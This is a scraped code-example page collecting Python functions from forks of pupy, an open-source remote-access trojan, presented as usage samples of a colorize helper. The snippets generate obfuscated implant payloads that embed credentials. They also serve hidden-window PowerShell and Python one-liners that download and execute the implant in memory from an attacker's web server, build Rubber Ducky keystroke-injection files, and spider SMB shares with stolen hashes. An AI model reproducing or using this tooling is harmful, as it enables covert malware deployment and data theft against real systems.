当前位置: 首页>>代码示例>>Python>>正文


Python term.colorize函数代码示例

本文整理汇总了Python中pupylib.utils.term.colorize函数的典型用法代码示例。如果您正苦于以下问题:Python colorize函数的具体用法?Python colorize怎么用?Python colorize使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了colorize函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: parse_scriptlets

def parse_scriptlets(args_scriptlet, debug=False):
    scriptlets_dic=load_scriptlets()
    sp=scriptlets.scriptlets.ScriptletsPacker(debug=debug)
    for sc in args_scriptlet:
        tab=sc.split(",",1)
        sc_args={}
        name=tab[0]
        if len(tab)==2:
            try:
                for x,y in [x.strip().split("=") for x in tab[1].split(",")]:
                    sc_args[x.strip()]=y.strip()
            except:
                print("usage: pupygen ... -s %s,arg1=value,arg2=value,..."%name)
                exit(1)
                
        if name not in scriptlets_dic:
            print(colorize("[-] ","red")+"unknown scriptlet %s, valid choices are : %s"%(repr(name), [x for x in scriptlets_dic.iterkeys()]))
            exit(1)
        print colorize("[+] ","green")+"loading scriptlet %s with args %s"%(repr(name), sc_args)
        try:
            sp.add_scriptlet(scriptlets_dic[name](**sc_args))
        except ScriptletArgumentError as e:
            print(colorize("[-] ","red")+"Scriptlet %s argument error : %s"%(repr(name),str(e)))
            print("")
            print("usage: pupygen.py ... -s %s,arg1=value,arg2=value,... ..."%name)
            scriptlets_dic[name].print_help()

            exit(1)
    script_code=sp.pack()
    return script_code
开发者ID:matanmaz,项目名称:pupy,代码行数:30,代码来源:pupygen.py

示例2: pack_py_payload

def pack_py_payload(conf):
    print colorize('[+] ','green')+'generating payload ...'
    fullpayload=[]

    with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f:
        pupyimportercode = f.read()

    fullpayload.append(get_load_module_code(pupyimportercode, 'pupyimporter')+'\n')
    fullpayload.append(
        '\n'.join([
            'import pupyimporter',
            'pupyimporter.install()'
        ]) + '\n'
    )

    for module in ('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec'):
        modules_dic = gen_package_pickled_dic(sys.modules[module].__path__[0], module)
        fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic))))

    modules_dic = gen_package_pickled_dic(os.path.join(ROOT, 'network'), 'network')
    fullpayload.append('pupyimporter.pupy_add_package({})'.format(repr(cPickle.dumps(modules_dic))))

    with open(os.path.join(ROOT,'pp.py')) as f:
        code=f.read()

    code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\','\\\\'), code)
    fullpayload.append(code+'\n')

    return compress_encode_obfs('\n'.join(fullpayload)+'\n')
开发者ID:AlessandroZ,项目名称:pupy,代码行数:29,代码来源:py_oneliner.py

示例3: pack_py_payload

def pack_py_payload(conf):
    print colorize("[+] ","green")+"generating payload ..."
    fullpayload=[]

    with open(os.path.join(ROOT,"packages","all", "pupyimporter.py")) as f:
        pupyimportercode=f.read()
    fullpayload.append(get_load_module_code(pupyimportercode,"pupyimporter")+"\n")

    modules_dic=gen_package_pickled_dic(rpyc.__path__[0],"rpyc")
    fullpayload.append("import pupyimporter\npupyimporter.install()\npupyimporter.pupy_add_package(%s)\nimport rpyc"%repr(cPickle.dumps(modules_dic)))

    modules_dic=gen_package_pickled_dic(os.path.join(ROOT,"network"),"network")
    fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))

    modules_dic=gen_package_pickled_dic(pyasn1.__path__[0],"pyasn1")
    fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))

    modules_dic=gen_package_pickled_dic(rsa.__path__[0],"rsa")
    fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))

    with open(os.path.join(ROOT,"pp.py")) as f:
        code=f.read()
    code=re.sub(r"LAUNCHER=.*\nLAUNCHER_ARGS=.*", conf, code)
    fullpayload.append(code+"\n")
    
    return compress_encode_obfs('\n'.join(fullpayload)+"\n")
开发者ID:601040605,项目名称:pupy,代码行数:26,代码来源:py_oneliner.py

示例4: serve_ps1_payload

def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=False, useTargetProxy=True):
    try:
        try:
            server = ps1_HTTPServer((ip, port), conf, link_ip, port, ssl, useTargetProxy)
        except Exception as e:
            # [Errno 98] Adress already in use
            raise

        print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
        print " --- "
        if useTargetProxy == True:
            oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
            message=colorize("Please note that if the target's system uses a proxy, this previous powershell command will download/execute pupy through the proxy", "yellow")
        else:
            oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();iex($w.DownloadString('http://%s:%s/%s'));\""%(link_ip, port, url_random_one), "green")
            message= colorize("Please note that even if the target's system uses a proxy, this previous powershell command will not use the proxy for downloading pupy", "yellow")
        print oneliner
        print " --- "
        print message
        print " --- "

        print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port)
        print colorize("[+] ","green")+'waiting for a connection ...'
        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.socket.close()
        exit()
开发者ID:n1nj4sec,项目名称:pupy,代码行数:28,代码来源:ps1_oneliner.py

示例5: generateAllForOStarget

 def generateAllForOStarget(self):
     '''
     '''
     if self.targetOs == 'Windows':
         from ps1_oneliner import serve_ps1_payload
         self.createRubberDuckyScriptForWindowsTarget()
         self.generateInjectBinFile()
         print(colorize("[+] ","green")+"copy/paste inject.bin file on USB rubber ducky device")
         print(colorize("[+] ","green")+"You should not pay attention to the following message (powershell command). This powershell command is embedded in the inject.bin file generated")
         serve_ps1_payload(self.conf, link_ip=self.link_ip)
开发者ID:AlessandroZ,项目名称:pupy,代码行数:10,代码来源:rubber_ducky.py

示例6: __loadRubberDuckyConf__

 def __loadRubberDuckyConf__(self):
     '''
     '''
     config = PupyConfig()
     self.encoderPath = config.get("rubber_ducky","encoder_path")
     self.keyboardLayoutPath = config.get("rubber_ducky","default_keyboard_layout_path")
     if self.encoderPath == "TO_FILL":
         print(colorize("[+] ","red")+"The 'encoder_path' value has to be filled in pupy.conf for generating inject.bin")
     if self.keyboardLayoutPath == "TO_FILL":
         print(colorize("[+] ","red")+"The 'default_keyboard_layout_path' value has to be filled in pupy.conf for generating inject.bin")
开发者ID:AlessandroZ,项目名称:pupy,代码行数:10,代码来源:rubber_ducky.py

示例7: get_raw_conf

def get_raw_conf(conf, obfuscate=False):
    if not "offline_script" in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]
    new_conf=""
    obf_func=lambda x:x
    if obfuscate:
        obf_func=compress_encode_obfs


    l=launchers[conf['launcher']]()
    l.parse_args(conf['launcher_args'])
    t=transports[l.get_transport()]

    #pack credentials
    creds_src=open("crypto/credentials.py","r").read()
    creds={}
    exec creds_src in {}, creds
    cred_src=b""
    creds_list=t.credentials
    if conf['launcher']=="bind":
        creds_list.append("BIND_PAYLOADS_PASSWORD")

    if conf['launcher']!="bind": #TODO more flexible warning handling
        if "SSL_BIND_KEY" in creds_list:
            creds_list.remove("SSL_BIND_KEY")
        if "SSL_BIND_CERT" in creds_list:
            creds_list.remove("SSL_BIND_CERT")

    for c in creds_list:
        if c in creds:
            print colorize("[+] ", "green")+"Embedding credentials %s"%c
            cred_src+=obf_func("%s=%s"%(c, repr(creds[c])))+"\n"
        else:
            print colorize("[!] ", "yellow")+"[-] Credential %s have not been found for transport %s. Fall-back to default credentials. You should edit your crypto/credentials.py file"%(c, l.get_transport())
    pupy_credentials_mod={"pupy_credentials.py" : cred_src}

    new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(pupy_credentials_mod)))+"\n"

    #pack custom transport conf:
    l.get_transport()
    ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
    transport_conf_dic=gen_package_pickled_dic(ROOT+os.sep, "network.transports.%s"%l.get_transport())
    #add custom transport and reload network conf
    new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(transport_conf_dic)))+"\nimport sys\nsys.modules.pop('network.conf')\nimport network.conf\n"
    

    new_conf+=obf_func("LAUNCHER=%s"%(repr(conf['launcher'])))+"\n"
    new_conf+=obf_func("LAUNCHER_ARGS=%s"%(repr(conf['launcher_args'])))+"\n"
    new_conf+=offline_script
    new_conf+="\n"
    
    return new_conf
开发者ID:TheArchiveProject,项目名称:pupy,代码行数:54,代码来源:pupygen.py

示例8: gen_output_line

def gen_output_line(columns, info, record, width):
    cpu = record.get('cpu_percent') or 0
    mem = record.get('memory_percent') or 0

    if record.get('self'):
        color = "green"
    elif cpu > 70 or mem > 50:
        color = "red"
    elif record.get('username') in ADMINS:
        if record.get('connections'):
            color = "magenta"
        else:
            color = "yellow"
    elif record.get('connections'):
        color = "cyan"
    elif not record.get('same_user'):
        color = "grey"
    else:
        color = None

    template = ' '.join('{{{}}}'.format(x) for x in info)
    output = template.format(**columns)
    if width:
        diff = len(output) - len(output.decode('utf-8', 'replace'))
        output = output[:width+diff]

    if color:
        output = colorize(output, color)

    return output
开发者ID:AlessandroZ,项目名称:pupy,代码行数:30,代码来源:ps.py

示例9: run

    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = [args.target[0]]
        
        if not args.pattern:
            self.error('Specify the pattern to look for')
            return

        if args.extensions:
            args.extensions = tuple(f.strip() for f in args.extensions.split(','))
        
        # if not extension is provided for find commad, try to extract it to gain time during the research
        elif not args.content:
            args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.pattern)    

        search_str = [s.lower() for s in args.pattern]

        self.info("Search started")
        smb = self.client.conn.modules["pupyutils.smbspider"].Spider(hosts, args.domain, args.port, args.user, args.passwd, args.hash, args.content, args.share, search_str, args.extensions, args.max_size, args.spider, args.depth)
        for files in smb.spider_all_hosts():
            # add color
            for s in search_str:
                if s in files:
                    files = files.replace(s, colorize(s,"green"))
            self.success("%s" % files)
        self.info("Search finished !")
开发者ID:AlessandroZ,项目名称:pupy,代码行数:29,代码来源:smbspider.py

示例10: serve_payload

def serve_payload(payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"):
    class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type','text/html')
            self.end_headers()
            # Send the html message
            self.wfile.write(payload)
            return
    try:
        while True:
            try:
                server = HTTPServer((ip, port), PupyPayloadHTTPHandler)
                break
            except Exception as e:
                # [Errno 98] Adress already in use
                if e[0] == 98:
                    port+=1
                else:
                    raise
        print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
        print " --- "
        oneliner=colorize("python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"%(link_ip, port), "green")
        print oneliner
        print " --- "

        print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port)
        print colorize("[+] ","green")+'waiting for a connection ...'
        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.socket.close()
        exit()
开发者ID:601040605,项目名称:pupy,代码行数:33,代码来源:py_oneliner.py

示例11: run

    def run(self, args):
        try:
            rpupyps = self.client.conn.modules.pupyps
            data = obtain(rpupyps.interfaces())
            families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() }

            addrlen = max([len(x) for x in data['addrs']])+1

            familylen = max([len(v)-3 for v in families.itervalues()])+1

            for addr, addresses in data['addrs'].iteritems():
                if args.iface and not addr in args.iface:
                    continue

                color = ""
                if addr in data['stats'] and not data['stats'][addr].get('isup'):
                    color = 'darkgrey'
                elif not any([ x.get('family') == socket.AF_INET for x in addresses ]):
                    color = 'grey'

                self.stdout.write(colorize(addr.ljust(addrlen), color or 'cyan'))
                first = True

                for address in addresses:
                    if first:
                        first = False
                    else:
                        self.stdout.write(' '*addrlen)

                    self.stdout.write(colorize(families[
                        address.get('family')
                    ].ljust(familylen), color))

                    self.stdout.write(
                        colorize(address.get('address', '').split('%')[0], color or 'yellow')
                    )
                    if address.get('netmask'):
                        self.stdout.write(colorize('/'+address.get('netmask'), color))

                    if address.get('broadcast'):
                        self.stdout.write(colorize(' brd '+address.get('broadcast'), color))
                    self.stdout.write('\n')

        except Exception, e:
            logging.exception(e)
开发者ID:AlessandroZ,项目名称:pupy,代码行数:45,代码来源:ip.py

示例12: serve_ps1_payload

def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=False):
    try:
        while True:
            try:
                server = ps1_HTTPServer((ip, port), conf, link_ip, port, ssl)
                break
            except Exception as e:
                # [Errno 98] Adress already in use
                if e[0] == 98:
                    port+=1
                else:
                    raise
        print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
        print " --- "
        oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green")
        print oneliner
        print " --- "

        print colorize("[+] ","green")+'Started http server on %s:%s '%(ip, port)
        print colorize("[+] ","green")+'waiting for a connection ...'
        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.socket.close()
        exit()
开发者ID:efernau,项目名称:pupy,代码行数:25,代码来源:ps1_oneliner.py

示例13: generateInjectBinFile

 def generateInjectBinFile(self):
     '''
     returns True if no error
     Otherwise returns False
     '''
     rubberDuckyEncodeCmd = self.ENCODE_CMD.format(self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename)
     try:
         output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
     except subprocess.CalledProcessError, e:
         print(colorize("[+] ","red")+"Impossible to generate {0} file with encoder: {1}".format(self.rubberDuckyBinFilename, repr(e.output)))
开发者ID:AlessandroZ,项目名称:pupy,代码行数:10,代码来源:rubber_ducky.py

示例14: run

    def run(self, args):
        try:
            rpupyps = self.client.conn.modules.pupyps
            data = obtain(rpupyps.connections())
            sock = { int(x):y for x,y in obtain(rpupyps.socktypes).iteritems() }
            families = { int(x):y for x,y in obtain(rpupyps.families).iteritems() }

            limit = []

            if args.tcp:
                limit.append('STREAM')
            if args.udp:
                limit.append('DGRAM')

            objects = []
            for connection in data:
                if connection['status'] == 'LISTEN' and not args.listen:
                    continue

                if args.listen and not connection['status'] == 'LISTEN':
                    continue

                color = ""
                family = families[connection['family']]
                stype = sock[connection['type']]

                if limit and not stype in limit:
                    continue

                if connection.get('me'):
                    color = 'green'
                elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):
                    color = 'darkgrey'
                elif ( '127.0.0.1' in connection['laddr'] or '::1' in connection['laddr'] ):
                    color = 'grey'

                objects.append({
                    'AF': colorize(family, color),
                    'TYPE': colorize(stype, color),
                    'LADDR': colorize(':'.join([str(x) for x in connection['laddr']]), color),
                    'RADDR': colorize(':'.join([str(x) for x in connection['raddr']]), color),
                    'PID': colorize(connection.get('pid', ''), color),
                    'USER': colorize((connection.get('username') or '').encode('utf8','replace'), color),
                    'EXE': colorize(
                        connection.get(
                            'exe', (connection.get('name') or '').encode('utf8','replace')
                        ), color)
                })

            self.stdout.write(
                PupyCmd.table_format(objects, wl=[
                    'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'EXE'
                ]))

        except Exception, e:
            logging.exception(e)
开发者ID:AlessandroZ,项目名称:pupy,代码行数:56,代码来源:netstat.py

示例15: __call__

    def __call__(self, parser, namespace, values, option_string=None):
        print colorize("## available formats :", "green")+" usage: -f <format>"
        print "\t- exe_86, exe_x64  : generate PE exe for windows"
        print "\t- dll_86, dll_x64  : generate reflective dll for windows"
        print "\t- lin_x86, lin_x64 : generate a ELF binary for linux"
        print "\t- so_x86, so_x64   : generate a ELF .so for linux"
        print "\t- py               : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)"
        print "\t- pyinst           : generate a python file compatible with pyinstaller"
        print "\t- py_oneliner      : same as \"py\" format but served over http to load it from memory with a single command line."
        print "\t- ps1              : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process."
        print "\t- ps1_oneliner     : load pupy remotely from memory with a single command line using powershell."
        print "\t- rubber_ducky     : generate a Rubber Ducky script and inject.bin file (Windows Only)."
        print "\t- apk              : generate a apk for running pupy on android"

        print ""
        print colorize("## available transports :","green")+" usage: -t <transport>"
        for name, tc in transports.iteritems():
            try:
                print "\t- {:<14} : {}".format(name, tc.info)
            except Exception as e:
                logging.error(e)

        print colorize("## available scriptlets :", "green")+" usage: -s <scriptlet>,<arg1>=<value>,<args2=value>..."
        scriptlets_dic=load_scriptlets()
        for name, sc in scriptlets_dic.iteritems():
            print "\t- {:<15} : ".format(name)
            print '\n'.join(["\t"+x for x in sc.get_help().split("\n")])
        exit()
开发者ID:dc3l1ne,项目名称:pupy,代码行数:28,代码来源:pupygen.py


注:本文中的pupylib.utils.term.colorize函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。